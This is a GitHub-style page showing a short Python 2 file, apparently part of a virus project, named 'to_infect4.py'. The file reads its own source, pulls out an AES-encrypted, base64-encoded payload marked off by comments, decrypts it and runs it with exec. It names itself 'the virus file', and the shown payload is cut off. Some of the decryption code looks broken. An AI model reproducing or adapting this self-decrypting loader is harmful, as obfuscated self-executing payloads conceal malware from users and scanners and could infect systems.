-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathto_infect4.py
executable file
·52 lines (40 loc) · 3.7 KB
/
to_infect4.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
print "HELOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
print "lolol"
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#sgHM1F+CCY2CQEqtGWnXI2MkG+xyXGHsCeVKJARKevvsqgXz3S4D4NhmXMB9Ng0N95Qer+nk4AwWJtyHG1lHnUMrNvp/M+RZbi0tXjNrhD8fPydfWRkz39FQevTXHoHKKaxiqTv0+SVACT6n9J3lDbPRJIelmfdx2SmcVOriKJTUviuXZeaw6xTL4GItIkcWO+uR8/SN+Db6i0CXK1BTwTSNXRq5fE6oXq92Bd7I+ocq8guvUOT8AM0pdy3RB38xFHtVn37uui/Zwg6krBOSCGKXX5ptn3pYbINyEr12Sdxu4rXJ9dkPCng4IyUyqwt5t72znn4HdMhcllSR0XiM+RRGFdE4zNghwAyuDvC9hX1ReqPa+O7WUpU+B9Zub8beiN3hXngN+Pb0XXvKXyV0bUvkahPnUsqTifEI9sqmHSR7Kb+xhmvZznct8SKDTTw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